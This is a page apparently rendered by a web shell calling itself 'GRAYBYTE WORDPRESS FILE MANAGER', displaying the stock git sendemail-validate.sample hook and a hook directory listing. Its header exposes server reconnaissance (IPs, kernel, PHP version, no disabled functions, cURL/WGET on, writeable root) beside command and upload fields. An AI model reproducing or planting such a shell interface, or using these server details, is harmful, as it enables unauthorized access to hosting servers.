GRAYBYTE WORDPRESS FILE MANAGER2166

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/git-core/templates/hooks/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/git-core/templates/hooks//sendemail-validate.sample
#!/bin/sh

# An example hook script to validate a patch (and/or patch series) before
# sending it via email.
#
# The hook should exit with non-zero status after issuing an appropriate
# message if it wants to prevent the email(s) from being sent.
#
# To enable this hook, rename this file to "sendemail-validate".
#
# By default, it will only check that the patch(es) can be applied on top of
# the default upstream branch without conflicts in a secondary worktree. After
# validation (successful or not) of the last patch of a series, the worktree
# will be deleted.
#
# The following config variables can be set to change the default remote and
# remote ref that are used to apply the patches against:
#
#   sendemail.validateRemote (default: origin)
#   sendemail.validateRemoteRef (default: HEAD)
#
# Replace the TODO placeholders with appropriate checks according to your
# needs.

validate_cover_letter () {
	file="$1"
	# TODO: Replace with appropriate checks (e.g. spell checking).
	true
}

validate_patch () {
	file="$1"
	# Ensure that the patch applies without conflicts.
	git am -3 "$file" || return
	# TODO: Replace with appropriate checks for this patch
	# (e.g. checkpatch.pl).
	true
}

validate_series () {
	# TODO: Replace with appropriate checks for the whole series
	# (e.g. quick build, coding style checks, etc.).
	true
}

# main -------------------------------------------------------------------------

if test "$GIT_SENDEMAIL_FILE_COUNTER" = 1
then
	remote=$(git config --default origin --get sendemail.validateRemote) &&
	ref=$(git config --default HEAD --get sendemail.validateRemoteRef) &&
	worktree=$(mktemp --tmpdir -d sendemail-validate.XXXXXXX) &&
	git worktree add -fd --checkout "$worktree" "refs/remotes/$remote/$ref" &&
	git config --replace-all sendemail.validateWorktree "$worktree"
else
	worktree=$(git config --get sendemail.validateWorktree)
fi || {
	echo "sendemail-validate: error: failed to prepare worktree" >&2
	exit 1
}

unset GIT_DIR GIT_WORK_TREE
cd "$worktree" &&

if grep -q "^diff --git " "$1"
then
	validate_patch "$1"
else
	validate_cover_letter "$1"
fi &&

if test "$GIT_SENDEMAIL_FILE_COUNTER" = "$GIT_SENDEMAIL_FILE_TOTAL"
then
	git config --unset-all sendemail.validateWorktree &&
	trap 'git worktree remove -ff "$worktree"' EXIT &&
	validate_series
fi

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 03 2025 22:48:52
root / root
0755
applypatch-msg.sample
0.467 KB
June 03 2025 03:15:55
root / root
0755
commit-msg.sample
0.875 KB
June 03 2025 03:15:55
root / root
0755
fsmonitor-watchman.sample
4.615 KB
June 03 2025 03:15:55
root / root
0755
post-update.sample
0.185 KB
June 03 2025 03:15:55
root / root
0755
pre-applypatch.sample
0.414 KB
June 03 2025 03:15:55
root / root
0755
pre-commit.sample
1.61 KB
June 03 2025 03:15:55
root / root
0755
pre-merge-commit.sample
0.406 KB
June 03 2025 03:15:55
root / root
0755
pre-push.sample
1.342 KB
June 03 2025 03:15:55
root / root
0755
pre-rebase.sample
4.783 KB
June 03 2025 03:15:55
root / root
0755
pre-receive.sample
0.531 KB
June 03 2025 03:15:55
root / root
0755
prepare-commit-msg.sample
1.457 KB
June 03 2025 03:15:55
root / root
0755
push-to-checkout.sample
2.718 KB
June 03 2025 03:15:55
root / root
0755
sendemail-validate.sample
2.254 KB
June 03 2025 03:15:56
root / root
0755
update.sample
3.564 KB
June 03 2025 03:15:56
root / root
0755

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF